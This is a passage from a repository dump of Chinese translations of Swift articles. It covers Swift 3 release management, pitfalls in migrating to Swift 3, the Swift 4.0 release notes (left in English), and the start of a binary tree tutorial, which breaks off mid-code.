`swift-3.0-preview-<x>-branch</x>`/`swift-3.0-branch` 分支并成为 Swift 3.0 的一部分发布：\n\n* [swift](https://github.com/apple/swift)\n* [swift-lldb](https://github.com/apple/swift-lldb)\n* [swift-cmark](https://github.com/apple/swift-cmark)\n* [swift-llbuild](https://github.com/apple/swift-llbuild)\n* [swift-package-manager](https://github.com/apple/swift-package-manager)\n* [swift-corelibs-libdispatch](https://github.com/apple/swift-corelibs-libdispatch)\n* [swift-corelibs-foundation](https://github.com/apple/swift-corelibs-foundation)\n* [swift-corelibs-xctest](https://github.com/apple/swift-corelibs-xctest)\n\n以下仓库将只有一个 `swift-3.0-branch` 取代开发者预览分支，因为他们已经很好的融合。\n\n*   [swift-llvm](https://github.com/apple/swift-llvm)\n*   [swift-clang](https://github.com/apple/swift-clang)\n\n## 发行管理者\n\n所有的发布管理都将由以下人员进行监督，他们将会严格控制进入 Swift 3.0 的变更。\n\n* [Ted Kremenek](https://github.com/tkremenek) 将作为整个 Swift 3.0 的发行管理者。\n\n*   [Frédéric Riss](https://github.com/fredriss) 将作为 [swift-llvm](https://github.com/apple/swift-llvm) 和 [swift-clang](https://github.com/apple/swift-clang) 的发行管理者。　\n\n*   [Kate Stone](https://github.com/k8stone) 将作为 [swift-lldb](https://github.com/apple/swift-lldb) 的发行管理者。\n\n*   [Tony Parker](https://github.com/parkera) 将作为 [swift-corelibs-foundation](https://github.com/apple/swift-corelibs-foundation) 的发行管理者。\n\n*   [Daniel Steffen](https://github.com/das) 将作为 [swift-corelibs-libdispatch](https://github.com/apple/swift-corelibs-libdispatch) 的发行管理者\n\n*   [Mike Ferris](https://github.com/mike-ferris-apple) 将作为 [swift-corelibs-xctest](https://github.com/apple/swift-corelibs-xctest) 的发行管理者。\n\n*   [Rick Ballard](https://github.com/rballard) 将作为 [swift-package-manager](https://github.com/apple/swift-package-manager) 的发行管理者。\n\n如果你对发信管理过程有任何疑问随身都可以通过邮件列表 [swift-dev](https://lists.swift.org/mailman/listinfo/swift-dev) 或者直接联系 [Ted Kremenek](https://github.com/tkremenek)。\n\n## 对开发者预览版的合并请求\n\n所有对开发者预览版的合并请求提出的变更都需要包含以下信息：\n\n* **描述**：对于修复问题或者增强性能的介绍。可以简短但必须清晰。\n\n* **影响范围**：影响范围和重要性的评估。例如「这个修改对语法有破坏性的改变」等等。\n\n* **SR Issue**：这个改动 修复/执行 了一个 [bugs.swift.org](https://bugs.swift.org) 上的 问题/优化。\n\n* **风险**：这个改动会产生什么（特定的）风险？\n\n* **测试**：已经采取了什么测试手段或者需要进行什么样的进一步测试来评估这个改动所带来的影响？\n\n对于那些受影响的组件，一个或更多 [代码所有者](https://swift.org/community/#code-owners) 应该审核改动。技术审查可以由代码所有者委托其他人审核，或者其它合适、有效的方法。\n\n**所有的变更**进入开发者预览版分支**都必须经过合并请求**并且由相应的发行管理者审核。\n"
  },
  {
    "path": "TODO/swift-3-migration-pitfalls.md",
    "content": "> * 原文地址：[Swift 3 migration pitfalls](http://codelle.com/blog/2016/9/swift-3-migration-pitfalls/)\n* 原文作者：[ Emil Loer](http://codelle.com/contact/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[shliujing](https://github.com/shliujing)\n* 校对者：[Danny1451](https://github.com/Danny1451), [Tina92](https://github.com/Tina92)\n\n# 迁移到 Swift 3，这些陷阱在等你\n\n[](http://codelle.com/blog/2016/9/swift-3-migration-pitfalls/)\n\n万岁！Swift 3 发布了，让我们一起来移植项目吧！在这篇文章中，我会你分享我的项目迁移到 Swift 3的经历，那是一个 2 万行的 Swift 项目。如果你对此感到好奇，这个项目其实是我实现的 Cassowary 线性约束求解算法，该算法最著名之处在于其通常被用于页面的自动布局。但我将它用在了一些完全不同的事情上，我将会在以后的文章中说明。\n \n### Swift 移植器\n\n第一步是从 Xcode 中运行 Swift 移植器来对我的项目进行转换。移植器帮助我定位了大部分必须修改的地方，这节省了我很多的工作。而有几件事情我不得不在这之后做出修改，虽然这并不是很麻烦。在我必须重写的功能中，最有趣的是权限变更（新的权限模型默认为使类 `public` 和方法 `open`，但我想在大多数情况下限制这一点）和二进制搜索功能，起因是收集索引操作的工作方式的变更。\n\n### 什么也没有变\n\n根据惯例来看，每次 Swift 发布的新版本，我尝试的第一次编译都会报错。在报错之前编译器日志会输出一个错误列表，之后我会根据列表解决错误，然后代码就可以正常运行了。\n\n我必须修复那些未被移植器捕捉到的，涉及两个语言之间变化所造成的编译错误，在下面两节我会高亮标注这些代码。\n\n### 新的 Range\n\n第一类必须解决的错误源于新的 `Range` 结构所带来的语义变更。现在 Swift 3 的 ranges 是由 4 个不同的结构体来重新代表，可数/不可数的范围和开放式/封闭式的范围。而在 Swift 2 中，开放式和封闭式范围使用相同的结构体，所以如果你有一些代码同时使用了这两种范围，那么你需要做一些修改工作。\n\n下面是一个有效的 Swift 2 例子：\n\n\n    func doSomething(with range: Range) {\n        for number in range {\n            ...\n        }\n    }\n\n    doSomething(with: 0..<10) \n    doSomething(with:=\"\" 0...10)=\"\" \n\n\n在 Swift 2 中，上面的代码在半开放式和封闭式的可计数范围是生效的。移植器没有转换该结构名称，因此在项目移植后这部分代码不生效。在 Swift 3 中， `Range` 表示半开放不可计数式范围。由于不可计数式范围不支持迭代，所以我们必须改变这一点，而如果我们使它可以在半开放式和封闭式范围都能生效，这将会非常棒。解决方案是通过将输入转换为半开放可计数式范围或使用泛型使它在两种范围下都生效。事实上，这是利用了可计数式范围来实现 `Sequence` 协议。\n\n这是一段可运行的 Swift 3 版本代码：\n\n\n    func doSomething(for range: IterableRange) \n        where IterableRange: Sequence, IterableRange.Iterator.Element == Int {\n        for number in range {\n            ...\n        }\n    }\n\n    doSomething(with: 0..<10) \n    doSomething(with:=\"\" 0...10)=\"\" \n\n\n### 元组转换\n\n另一类编译器报错的原因是元组转换。下面是一段有效的 Swift 2 代码：\n\n\n    typealias Tuple = (foo: Int, bar: Int)\n\n    let dict: [Int: Int] = [1: 100, 2: 200]\n\n    for tuple: Tuple in dict {\n        print(\"foo is \\(tuple.foo) and bar is \\(tuple.bar)\")\n    }\n\n\n移植器保留了这段代码的原貌，可编译器会报 for 循环的类型强制转换为 `Tuple` 的错误。在使用`(key: Int, value: Int)`这个元素类型来遍历上面这个字典的时候，Swift 2 环境下完全可以直接把它分配另给一个拥有相同成员类型但是不同成员名的变量。现在可好，再也不支持这个特性了！\n\n虽然我认为严格的类型控制在通常情况下是很好的，这意味着现在我们需要将元组显式转换为目标类型。我们可以通过使用以下 语句来替换循环代码，使代码重新生效运行：\n\n\n    for tuple in dict {\n        let tuple: Tuple = (foo: tuple.key, bar: tuple.value)\n        print(\"foo is \\(tuple.foo) and bar is \\(tuple.bar)\")\n    }\n\n\n当然，这是一个特别修正过的例子，但是如果你要传递这个元组的值或者你想通过使用基于语义的有效的名称，而不是键/值对的方式，来使得相关的字典使代码更容易理解，那就最好了。\n\n### PaintCode 与 Core Graphics\n\n其他类值得一提的错误有 Core Graphics。Swift 3 引入了 Core Foundation-style 对象调用机制，也就是说现在你可以将其当做Swift对象来使用，而不是一组 C 函数。这可以让你的代码很整洁且保持可读性。这一新特性最常见于 Core Graphics 调用。移植器会转换大多数这些调用，但一些较少使用的函数（例如：Arc、Drawing）则不会被转换，所以你必须手动完成这部分的转换工作。\n\n在我的项目中，我使用了大量的 PaintCode。而 PaintCode 的代码生成是出了名的不完全支持最新的 Swift 语法（当前版本仍然会产生对 Swift 2.3 的警告，即使它是一个需要解决的微不足道的问题）我真害怕我的图形代码可能无法正常地转换。幸运地的是上帝眷顾了我，因为移植后的代码并没有出现额外的问题。你可能还是想把代码的可见度从 `open` 变为 `internal`，尽管这能从编译器优化技术中受益更多。 （我有一个脚本，已经可以通过一些正则方式解决这个问题）\n\n### 性能\n\n总的来说，我注意到的是，在移植后我的项目在编译时间上没有显著变化。我的基准单元测试显示，在重度使用 dictionary 的代码中性能有些下降，除此之外没有其他显著变化。我的约束求解器仍然可以快速的生效。:)\n\n### 最后的想法\n\n总体而言，移植到 Swift 3 还是很容易的。移植器帮助我解决了过程中的大部分变更，而剩下的那部分也很容易修复。如果你对 Swift 还有点陌生 ，那我和你的情况可能会不同，所以你的项目迁移过程也会和我所描述的有所差异。\n\n最后提一个非常有用的小建议：请确保你的项目中，在算法部分有足够多的单元测试（这从不是一个坏主意！）这样你就可以验证在移植过程中是否有引入语义变化，而如果引入了变化，你也可以找到他们！\n\n如果你喜欢这篇文章，请关注我的 [Twitter](https://twitter.com/codelleapps) 或 [Facebook](https://facebook.com/codelle.apps)。非常感谢！\n"
  },
  {
    "path": "TODO/swift-4-0-released.md",
    "content": "\n> * 原文地址：[Swift 4.0 Released!](https://swift.org/blog/swift-4-0-released/)\n> * 原文作者：[Ted Kremenek](https://github.com/tkremenek/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/swift-4-0-released.md](https://github.com/xitu/gold-miner/blob/master/TODO/swift-4-0-released.md)\n> * 译者：\n> * 校对者：\n\n# Swift 4.0 Released!\n\nSwift 4 is now officially released! Swift 4 builds on the strengths of Swift 3, delivering greater robustness and stability, providing source code compatibility with Swift 3, making improvements to the standard library, and adding features like archival and serialization.\n\nYou can watch a quick overview of it by watching the [WWDC 2017: What’s New in Swift](https://developer.apple.com/videos/play/wwdc2017/402/) presentation, and try out some of the new features in this [playground](https://github.com/ole/whats-new-in-swift-4) put together by Ole Begemann.\n\n## Language updates\n\nSwift 4.0 is a major language release and contains the following language changes and updates that went through the Swift Evolution process:\n\n### String\n\nSwift 4 includes a faster, easier to use String implementation that retains Unicode correctness and adds support for creating, using and managing substrings.\n\nSee more at:\n\n- [SE-0163 String Revision: Collection Conformance, C Interop, Transcoding](https://github.com/apple/swift-evolution/blob/master/proposals/0163-string-revision-1.md)\n- [SE-0168 Multi-Line String Literals](https://github.com/apple/swift-evolution/blob/master/proposals/0168-multi-line-string-literals.md)\n- [SE-0178 Add unicodeScalars property to Character](https://github.com/apple/swift-evolution/blob/master/proposals/0178-character-unicode-view.md)\n- [SE-0180 String Index Overhaul](https://github.com/apple/swift-evolution/blob/master/proposals/0180-string-index-overhaul.md)\n- [SE-0182 String Newline Escaping](https://github.com/apple/swift-evolution/blob/master/proposals/0182-newline-escape-in-strings.md)\n- [SE-0183 Substring performance affordances](https://github.com/apple/swift-evolution/blob/master/proposals/0183-substring-affordances.md)\n\n## Collection\n\nSwift 4 adds improvements for creating, using and managing Collection types.\n\nSee more at:\n\n- [SE-0148 Generic Subscripts](https://github.com/apple/swift-evolution/blob/master/proposals/0148-generic-subscripts.md)\n- [SE-0154 Provide Custom Collections for Dictionary Keys and Values](https://github.com/apple/swift-evolution/blob/master/proposals/0154-dictionary-key-and-value-collections.md)\n- [SE-0165 Dictionary & Set Enhancements](https://github.com/apple/swift-evolution/blob/master/proposals/0165-dict.md)\n- [SE-0172 One-sided Ranges](https://github.com/apple/swift-evolution/blob/master/proposals/0172-one-sided-ranges.md)\n- [SE-0173 Add MutableCollection.swapAt(_:_:)](https://github.com/apple/swift-evolution/blob/master/proposals/0173-swap-indices.md)\n\n## Archival and serialization\n\nSwift 4 supports archival of struct and enum types and enables type-safe serialization to external formats such as JSON and plist.\n\nSee more at: [SE-0166 Swift Archival & Serialization](https://github.com/apple/swift-evolution/blob/master/proposals/0166-swift-archival-serialization.md)\n\n## Additional language updates\n\nSwift 4 also implements the following language proposals from the Swift Evolution process:\n\n- [SE-0104 Protocol-oriented integers](https://github.com/apple/swift-evolution/blob/master/proposals/0104-improved-integers.md)\n- [SE-0142 Permit where clauses to constrain associated types](https://github.com/apple/swift-evolution/blob/master/proposals/0142-associated-types-constraints.md)\n- [SE-0156 Class and Subtype existentials](https://github.com/apple/swift-evolution/blob/master/proposals/0158-package-manager-manifest-api-redesign.md)\n- [SE-0160 Limiting @objc inference](https://github.com/apple/swift-evolution/blob/master/proposals/0160-objc-inference.md)\n- [SE-0164 Remove final support in protocol extensions](https://github.com/apple/swift-evolution/blob/master/proposals/0164-remove-final-support-in-protocol-extensions.md)\n- [SE-0169 Improve Interaction Between private Declarations and Extensions](https://github.com/apple/swift-evolution/blob/master/proposals/0169-improve-interaction-between-private-declarations-and-extensions.md)\n- [SE-0170 NSNumber bridging and Numeric types](https://github.com/apple/swift-evolution/blob/master/proposals/0170-nsnumber_bridge.md)\n- [SE-0171 Reduce with inout](https://github.com/apple/swift-evolution/blob/master/proposals/0171-reduce-with-inout.md)\n- [SE-0176 Enforce Exclusive Access to Memory](https://github.com/apple/swift-evolution/blob/master/proposals/0176-enforce-exclusive-access-to-memory.md)\n- [SE-0179 Swift run Command](https://github.com/apple/swift-evolution/blob/master/proposals/0179-swift-run-command.md)\n\n## New compatibility modes\n\nWith Swift 4, you may not need to modify your code to use the new version of the compiler. The compiler supports two language modes:\n\n- **Swift 3.2**: In this mode, the compiler will accept the majority of sources that built with the Swift 3.x compilers. Updates to previously existing APIs (either those that are part of the standard library or APIs shipped by Apple) will not appear in this mode, in order to provide this level of source compatibility. Most new language features in Swift 4 are available in this language mode.\n\n- **Swift 4.0**: This mode includes all Swift 4.0 language and API changes. Some source migration will be needed for many projects, although the number of source changes are quite modest compared to many previous major changes between Swift releases.\n\nThe language mode is specified to the compiler by the -swift-version flag, which is automatically handled by the Swift Package Manager and Xcode.\n\nOne advantage of these language modes is that you can start using the new Swift 4 compiler and migrate fully to Swift 4 at your own pace, taking advantage of new Swift 4 features, one module at a time.\n\nFor more information about Swift 4 migration and compatibility modes, see [Migrating to Swift 4](https://swift.org/migration-guide-swift4/)\n\n## Package Manager Updates\n\nSwift 4 introduces new workflow features and a more complete API for the Swift Package Manager:\n\n- It’s now easier to develop multiple packages in tandem before tagging your first official release, or to work on a branch of multiple packages together.\n\n- Package products have been formalized, making it possible to control what libraries a package publishes to clients.\n\n- The new Package API allows packages to specify a number of new settings, giving package authors more control over how packages build or how sources are organized on disk. Overall, the API used to create a package is now cleaner and clearer, while retaining source-compatibility with older packages.\n\n- On macOS, Swift package builds now occur in a sandbox which prevents network access and file system modification, to help mitigate the effect of maliciously crafted manifests.\n\nFurther, the Swift Package Manager builds on top of package manager tools versioning introduced in Swift 3.1 ([SE-0159](https://github.com/apple/swift-evolution/blob/master/proposals/0152-package-manager-tools-version.md)) which allows a package author to specify the version of Swift required for building a package — which now includes Swift 4.\n\nFor more information about enhancements to the Package Manager, see:\n\n- [SE-0146 Package Manager Product Definitions](https://github.com/apple/swift-evolution/blob/master/proposals/0146-package-manager-product-definitions.md)\n- [SE-0149 Package Manager Support for Top of Tree development](https://github.com/apple/swift-evolution/blob/master/proposals/0149-package-manager-top-of-tree.md)\n- [SE-0150 Package Manager Support for branches](https://github.com/apple/swift-evolution/blob/master/proposals/0150-package-manager-branch-support.md)\n- [SE-0158 Package Manager Manifest API Redesign](https://github.com/apple/swift-evolution/blob/master/proposals/0158-package-manager-manifest-api-redesign.md)\n- [SE-0162 Package Manager Custom Target Layouts](https://github.com/apple/swift-evolution/blob/master/proposals/0162-package-manager-custom-target-layouts.md)\n- [SE-0175 Package Manager Revised Dependency Resolution](https://github.com/apple/swift-evolution/blob/master/proposals/0175-package-manager-revised-dependency-resolution.md)\n- [SE-0179 Swift run Command](https://github.com/apple/swift-evolution/blob/master/proposals/0179-swift-run-command.md)\n- [SE-0181 Package Manager C/C++ Language Standard Support](https://github.com/apple/swift-evolution/blob/master/proposals/0181-package-manager-cpp-language-version.md)\n\n## Documentation\n\nAn updated version of The Swift Programming Language for Swift 4.0 is now available on Swift.org. It is also available for free on Apple’s iBooks store.\n\n## Platforms\n\n## Linux\n\nOfficial binaries for Ubuntu 16.10, Ubuntu 16.04 and Ubuntu 14.04 are available for download.\n\n## Apple (Xcode)\n\nFor development on Apple’s platforms, Swift 4.0 ships as part of Xcode 9.\n\n## Sources\n\nDevelopment on Swift 4.0 was tracked in the swift-4.0-branch on the following repositories on GitHub:\n\n- [swift](https://github.com/apple/swift)\n- [swift-llvm](https://github.com/apple/swift-llvm)\n- [swift-clang](https://github.com/apple/swift-clang)\n- [swift-lldb](https://github.com/apple/swift-lldb)\n- [swift-cmark](https://github.com/apple/swift-cmark)\n- [swift-corelibs-foundation](https://github.com/apple/swift-corelibs-foundation)\n- [swift-corelibs-libdispatch](https://github.com/apple/swift-corelibs-libdispatch)\n- [swift-corelibs-xctest](https://github.com/apple/swift-corelibs-xctest)\n- [swift-llbuild](https://github.com/apple/swift-llbuild)\n- [swift-package-manager](https://github.com/apple/swift-package-manager)\n- [swift-xcode-playground-support](https://github.com/apple/swift-xcode-playground-support)\n- [swift-compiler-rt](https://github.com/apple/swift-compiler-rt)\n- [swift-integration-tests](https://github.com/apple/swift-integration-tests)\n\nThe tag `swift-4.0-RELEASE` designates the specific revisions in those repositories that make up the final version of Swift 4.0.\n\nThe `swift-4.0-branch` will remain open, but under the same release management process, to accumulate changes for a potential future bug-fix “dot” release.\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/swift-algorithm-club-swift-binary-search-tree-data-structure.md",
    "content": "> * 原文地址：[Swift Algorithm Club: Swift Binary Search Tree Data Structure](https://www.raywenderlich.com/139821/swift-algorithm-club-swift-binary-search-tree-data-structure)\n* 原文作者：[Kelvin Lau](https://www.raywenderlich.com/u/kelvin_lau)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[cbangchen](https://github.com/cbangchen)\n* 校对者：[mypchas6fans](https://github.com/mypchas6fans) [Zheaoli](https://github.com/Zheaoli)\n\n# 实现二叉树以及二叉树遍历数据结构\n\n![](http://ww1.sinaimg.cn/large/7853084cgw1f7fm5z89h4j20dw0dwgm4.jpg)\n\n[Swift 算法俱乐部](https://github.com/raywenderlich/swift-algorithm-club) 是一个致力于使用 Swift 来实现数据结构和算法的一个开源项目。\n\n每个月，我和 Chris Pilcher 会在俱乐部网站上开建一个教程，来实现一个炫酷的数据结构或者算法。如果你想要去学习更多关于算法和数据结构的知识，请跟随我们的脚步吧。\n\n在这个教程里面，你将学习到关于二叉树和二叉搜索树的知识。二叉树的实现首先是由 [Matthijs Hollemans](https://www.raywenderlich.com/u/hollance) 实现的，而二叉搜索树是由 [Nico Ameghino](https://github.com/nameghino) 实现的。\n\n**提示：** 你是 Swift 算法俱乐部的新成员吗？如果是的话，来看看我们的 [指引文章](https://www.raywenderlich.com/135533/join-swift-algorithm-club) 吧。\n\n## 开始\n\n在计算机科学中，**二叉树** 是一种最普遍的数据结构。更先进的像 [红黑树](https://github.com/raywenderlich/swift-algorithm-club/tree/master/Red-Black%20Tree) 和 [AVL 树](https://github.com/raywenderlich/swift-algorithm-club/tree/master/AVL%20Tree) 都是从二叉树中演进过来的。\n\n二叉树自身则是从最通用的树演变过来的。如果你不知道那是什么，来看一下上个月关于 [Swift 树的数据结构](https://www.raywenderlich.com/138190/swift-algorithm-club-swift-tree-data-structure) 的文章吧。\n\n让我们来看一下这是如何工作的。\n\n## 二叉树数据结构\n\n二叉树是一颗每个结点都有 0，1 或者 2 个子树的树。最重要的一点是子树的数量最多为 2 - 这也是为什么它是二叉树的原因。\n\n这里我们来看一下二叉树是什么样子的：\n\n![BinaryTree](https://cdn3.raywenderlich.com/wp-content/uploads/2016/07/BinaryTree.png)\n\n## 术语\n\n在我们深入研究代码之前，首先去了解一些重要的术语也是很重要的。\n\n在上面提到的通用树的基础上，二叉树增加了左右子树的概念。\n\n### 左子树\n\n**左** 子树从左边开始延伸：\n\n![BinaryTree-2](https://cdn4.raywenderlich.com/wp-content/uploads/2016/08/BinaryTree-2.png)\n\n### 右子树\n\n令人惊讶的是，右边是 **右** 子树：\n\n![BinaryTree-2](https://cdn3.raywenderlich.com/wp-content/uploads/2016/08/BinaryTree-2-1.png)\n\n### 叶结点\n\n如果一个结点没有任何子树，就被称为叶结点：\n\n![BinaryTree-2](https://cdn3.raywenderlich.com/wp-content/uploads/2016/08/BinaryTree-2-2.png)\n\n### 根\n\n**根** 是一棵树的最顶端的结点（程序员喜欢倒立的树）：\n\n![BinaryTree-2](https://cdn5.raywenderlich.com/wp-content/uploads/2016/08/BinaryTree-2-3.png)\n\n## 用 Swift 实现的二叉树\n\n就像其它树一样，一颗二叉树由结点组成。代表一个结点的方法就是使用一个类（暂时不要进入 Playground，这只是一个例子）：\n\n\n    class Node<T> {\n      var value: T\n      var leftChild: Node?\n      var rightChild: Node?\n\n      init(value: T) {\n        self.value = value\n      }\n    }\n\n\n在一颗二叉树里面，每个结点存储着一些数据（`值`），而且左右边都有子树（`左子树` 和 `右子树`）。\n在这种实现方式里，`左子树` 和 `右子树` 是可选的，意味着它们可以为 `nil`。\n\n那是一种传统的构建树的方式，然而，作为一个寻求刺激的人，你应该觉得开心了，因为我们今天将要尝试一些新的东西！:]\n\n### 语义值\n\nSwift 的一个核心创意就是直接使用类型值（例如 `struct`（结构） 和 `enum`（枚举））而不是在合适的地方使用引用类型（例如 `class`（类））。好吧，创建一棵树就是一个完美的使用类型值的例子 - 所以在这个教程里面，你将实现二叉树作为枚举类型。\n\n创建一个新的 Swift playground（这个教程使用 Xcode 8 beta 5）然后加上下面的枚举声明：\n\n    enum BinaryTree<T> {\n\n    }\n\n你已经声明了一个名为 `BinaryTree`（二叉树） 的枚举。`` 语法声明了这是一个 **通用** 的且允许推断调用站点类型信息的枚举。\n\n### 声明\n\n枚举的声明是很严格的，所以只能是唯一声明。幸运的是，这非常符合二叉树的概念。二叉树是一个有限结点的集合，这些结点或者为空，或者是由一个值和一个指向其他结点的指针所构成。\n\n相应的更新你的枚举：\n\n    enum BinaryTree<T> {\n      case empty\n      case node(BinaryTree, T, BinaryTree)\n    }\n\n如果你有其他编程语言的编程经验，这个 `node`（结点）的例子可能相比起来有点不同。Swift 的枚举允许 _associated values_（相关的值），这是一个比较奇特的术语，意味着你可以和一个已存储的属性相互绑定。\n\n在 `node(BinaryTree, T, BinaryTree)` 里，括号内的参数分别对应着左子树，值，右子树。\n\n这是一种紧凑的二叉树构建方式。然而，你马上就会看到一个编译器提出的错误：\n\n    Recursive enum 'BinaryTree' is not marked 'indirect'\n\nXcode 应该提供了一种解决这个错误的方法。根据报错信息来修正错误，然后你的枚举应该看起来像这样：\n\n    indirect enum BinaryTree<T> {\n      case empty\n      case node(BinaryTree, T, BinaryTree)\n    }\n\n\n### 间接\n\nSwift 中的枚举是一种类型值。当 Swift 试图去为类型值分配内存的时候，它需要去确切的知道所需要被分配的内存大小。\n\n你所定义的枚举是一种 _recursive_ （递归）枚举。那是一种有着一个指向自身的相关值（associated value）的一种枚举。递归类型的类型值内存大小无法被确定。\n\n![Screen Shot 2016-08-01 at 1.27.40 AM](http://ww4.sinaimg.cn/large/7853084cgw1f7fm49qv5oj20mc0gagng.jpg)\n\n所以在这里你有一个问题。Swift 希望能准确的知道枚举的大小，然而你所创建的递归类型的枚举却没有暴露这个消息。\n\n这就是 `indirect`（间接）这个关键字的由来。`indirect`（间接）实现了一个两个类型值之间的 _indirection（间接层）_。这引出了语义与类型值之间的一层中间层。\n\n这个枚举现在引用的是它的关联值而不是自身的值。引用值有着一个确切的大小，所以就不再存在之前的问题。\n\n代码现在可以通过编译了，但是你能够更加的简洁。将 `BinaryTree`（二叉树）更新到下面的样子：\n\n    enum BinaryTree<T> {\n      case empty\n      indirect case node(BinaryTree, T, BinaryTree)\n    }\n\n\n因为只有 `node`（结点）是递归的，所以你只需要在结点处应用 `indirect`（间接）即可。\n\n## 例子：算数操作\n\n检验这一点的有一个有趣的例子是使用一棵二叉树来进行一系列的计算。我们来进行下面这个例子的运算：`(5 * (a - 10)) + (-4 * (3 / b))`：\n\n![Operations](https://cdn4.raywenderlich.com/wp-content/uploads/2016/07/Operations.png)\n\n在你的 playground 文件的最后写下下面的语句：\n\n    // leaf nodes\n    let node5 = BinaryTree.node(.empty, \"5\", .empty)\n    let nodeA = BinaryTree.node(.empty, \"a\", .empty)\n    let node10 = BinaryTree.node(.empty, \"10\", .empty)\n    let node4 = BinaryTree.node(.empty, \"4\", .empty)\n    let node3 = BinaryTree.node(.empty, \"3\", .empty)\n    let nodeB = BinaryTree.node(.empty, \"b\", .empty)\n\n    // intermediate nodes on the left\n    let Aminus10 = BinaryTree.node(nodeA, \"-\", node10)\n    let timesLeft = BinaryTree.node(node5, \"*\", Aminus10)\n\n    // intermediate nodes on the right\n    let minus4 = BinaryTree.node(.empty, \"-\", node4)\n    let divide3andB = BinaryTree.node(node3, \"/\", nodeB)\n    let timesRight = BinaryTree.node(minus4, \"*\", divide3andB)\n\n    // root node\n    let tree = BinaryTree.node(timesLeft, \"+\", timesRight)\n\n\n你需要通过从叶结点开始一直到树的顶部来反向构建这棵树。\n\n### CustomStringConvertible 协议\n\n如果没有控制台输出很难去验证一棵树的结构。Swift 有一个名为 `CustomStringConvertible` 的协议可以允许自定义一个 `print` 输出声明。在你的 `BinaryTree` 枚举下加上下面的语句：\n\n    extension BinaryTree: CustomStringConvertible {\n      var description: String {\n        switch self {\n        case let .node(left, value, right):\n          return \"value: \\(value), left = [\" + left.description + \"], right = [\" + right.description + \"]\"\n        case .empty:\n          return \"\"\n        }\n      }\n    }\n\n\n\n通过在文件的最后编写下面的语句来打印这棵树：\n\n    tree.count\n\n你应该可以看到类似下面的语句：\n\n    value: +, left = [value: *, left = [value: 5, left = [], right = []], right = [value: -, left = [value: a, left = [], right = []], right = [value: 10, left = [], right = []]]], right = [value: *, left = [value: -, left = [], right = [value: 4, left = [], right = []]], right = [value: /, left = [value: 3, left = [], right = []], right = [value: b, left = [], right = []]]]\n\n配合一些联想，你可以看到这棵树的结构。 ;-) 缩进一下可以帮助你的理解：\n\n    value: +, \n        left = [value: *, \n            left = [value: 5, left = [], right = []], \n            right = [value: -, \n                left = [value: a, left = [], right = []], \n                right = [value: 10, left = [], right = []]]], \n        right = [value: *, \n            left = [value: -, \n                left = [], \n                right = [value: 4, left = [], right = []]], \n            right = [value: /, \n                left = [value: 3, left = [], right = []], \n                right = [value: b, left = [], right = []]]]\n\n\n\n### 得到数值\n\n另一个有用的特性就是可以得到树的结点。在你的 `BinaryTree` 枚举里面加上下面的语句：\n\n    var count: Int {\n      switch self {\n      case let .node(left, _, right):\n        return left.count + 1 + right.count\n      case .empty:\n        return 0\n      }\n    }\n\n通过在你的 playground 程序的最后加上下面的语句来进行测试：\n\n```\ntree.count\n```\n\n你应该可以看到侧边栏有数字 12，因为这棵树有 12 个结点。\n\n已经完成到这里了，非常棒。现在你已经有了关于二叉树的良好基础，是时候去了解目前为止最受欢迎的二叉树了 - _Binary Search Tree_（二叉搜索树）!\n\n## 二叉搜索树\n\n二叉搜索树是一种特殊的二叉树（普通的二叉树每个结点最多有 2 个子树），这种特殊的二叉树可以执行插入和删除操作，使得这棵树总是按序排列。\n\n### “总是按序排列” 的属性\n\n这里是一个关于一棵有效二叉搜索树的例子：\n\n![Tree1](https://cdn5.raywenderlich.com/wp-content/uploads/2016/07/Tree1.png)\n\n可以注意到每个左子树的数值小于它的父结点的数值，每个右子树的数值大于父结点的数值。这就是二叉搜索树的主要特性。\n\n举个例子，2 比 7 小，所以放在左边，5 比 2 大，所以放在右边。\n\n### 插入\n\n当执行一个插入操作的时候，将根结点当成当前结点：\n\n* \t**如果当前结点为空** ，你在这里插入一个新的结点。\n* \t**如果新的值更小** ，你沿着左边的分支向下。\n* \t**如果新的值更大** ，你沿着右边的分支向下。\n\n你向下遍历这棵树，直到你找到一个空的地方可以插入新值。\n\n例如，假如你想要插入一个值为 9 的数到上面的树中：\n\n1.\t从树的根结点开始（根结点数值为 7），并与新的值 9 进行比较。\n2. \t9 大于 7，所以你沿着右边向下。\n3.\t比较 9 和 10，因为 9 小于 10，所以你沿着左边向下。\n4. \t这个左分支是空的，因此你要插入一个新的结点然后放置这个 9 的数值。\n\n这棵新的树现在看起来像这样：\n\n![Tree2](https://cdn2.raywenderlich.com/wp-content/uploads/2016/07/Tree2.png)\n\n这里有另一个例子。假如你想插入一个值为 3 的数到上面的树中：\n\n1.\t从树的根结点开始（根结点数值为 7），并与新的值 3 进行比较。\n2. \t3 小于 7，所以你沿着左边向下。\n3.\t比较 3 和 2，因为 3 大于 2，所以你沿着右边向下。\n4. \t这个左分支是空的，因此你要插入一个新的结点然后放置这个 3 的数值。\n\n这棵新的树现在看起来像这样：\n\n![added](https://cdn2.raywenderlich.com/wp-content/uploads/2016/08/added-308x320.png)\n\n最后这棵树上，总是只有一个可能插入新元素的地方。找到这个可以插入新元素的地方总是比较快的。这个过程会花费 _O(h)_ 的时间，而 _h_ 是树的高度。\n\n**注意：** 如果你对于树的高度不熟悉，来看一下之前发的 [Swift Trees（Swift 的树）](https://www.raywenderlich.com/138190/swift-algorithm-club-swift-tree-data-structure) 这篇文章吧。\n\n### 挑战：实现插入\n\n现在你已经知道了应该在哪里插入数值了，是时候来实现这个过程了。在你的 `BinaryTree`（二叉树）枚举中加入下面的方法：\n\n    // 1. \n    mutating func naiveInsert(newValue: T) {\n  